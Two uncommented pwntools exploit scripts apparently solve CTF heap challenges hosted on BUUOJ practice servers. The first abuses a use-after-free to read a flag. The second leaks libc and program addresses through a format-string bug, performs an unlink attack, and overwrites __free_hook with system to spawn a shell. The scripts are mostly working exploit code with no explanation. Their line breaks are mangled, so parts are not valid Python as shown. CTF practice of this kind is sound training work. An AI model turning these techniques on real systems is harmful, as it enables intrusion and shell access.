# -*- coding:utf-8 -*-from pwn import*
context.log_level="debug"#io=process("./gyctf_2020_some_thing_exceting")
io=remote("node4.buuoj.cn",29559)
elf=ELF("./gyctf_2020_some_thing_exceting")
libc=ELF("./libc-2.23.so")
flag_addr=0x6020A8defadd(ba_len,ba,na_len,na):io.sendlineafter("> Now please tell me what you want to do :","1")io.sendlineafter("> ba's length : ",str(ba_len))io.sendlineafter("> ba : ",ba)io.sendlineafter("> na's length : ",str(na_len))io.sendlineafter("> na : ",na)defedit():io.sendlineafter("> Now please tell me what you want to do :","2")deffree(index):io.sendlineafter("> Now please tell me what you want to do :","3")io.sendlineafter("> Banana ID : ",str(index))defshow(index):io.sendlineafter("> Now please tell me what you want to do :","4")io.sendlineafter("> SCP project ID : ",str(index))defexit():io.sendlineafter("> Now please tell me what you want to do :","5")#gdb.attach(io)#pause()add(0x10,"aaaa",0x20,"bbbb")#0
add(0x20,"cccc",0x20,"dddd")#1#pause()free(1)#pause()free(0)#pause()add(0x10,"eeee",0x10,p64(flag_addr)*2)#2#pause()show(1)exit()io.interactive()
# -*- coding:utf-8 -*-from pwn import*#io=process("./axb_2019_heap")
io=remote("node4.buuoj.cn",27073)
elf=ELF("./axb_2019_heap")
libc=ELF("./libc-2.23-16-x64.so")defadd(index,size,content):io.sendlineafter("Enter a option: \n>> ","1")io.sendlineafter("Enter the index you want to create (0-10):",str(index))io.sendlineafter("Enter a size:\n",str(size))io.sendlineafter("Enter the content: \n",content)deffree(index):io.sendlineafter("Enter a option: \n>> ","2")io.sendlineafter("Enter an index:\n",str(index))defshow():io.sendlineafter("Enter a option: \n>> ","3")defedit(index,content):io.sendlineafter("Enter a option: \n>> ","4")io.sendlineafter("Enter an index:\n",str(index))io.sendlineafter("Enter the content: \n",content)io.recvuntil("Enter your name: ")
payload="%15$p%19$p"
io.sendline(payload)
io.recvuntil("0x")
libc_base=int(io.recvuntil("0x")[:-2],16)-240-libc.sym["__libc_start_main"]
main_base=int(io.recvuntil("\n")[:-1],16)-0x000000000000116Aprint("libc_base=="+hex(libc_base))print("main_base=="+hex(main_base))
free_hook=libc_base+libc.sym["__free_hook"]
system=libc_base+libc.sym["system"]
note=main_base+0x202060#gdb.attach(io)#pause()add(0,0x98,"a"*0x98)#0
add(1,0x90,"bbbb")#1
add(2,0x90,"/bin/sh\x00")#2#pause()payload=p64(0)+p64(0x91)+p64(note-0x18)+p64(note-0x10)
payload=payload.ljust(0x90,"a")
payload+=p64(0x90)+p8(0xa0)
edit(0,payload)#pause()free(1)#pause()payload=p64(0)*3+p64(free_hook)+p64(0x08)
edit(0,payload)#pause()edit(0,p64(system))#pause()free(2)io.interactive()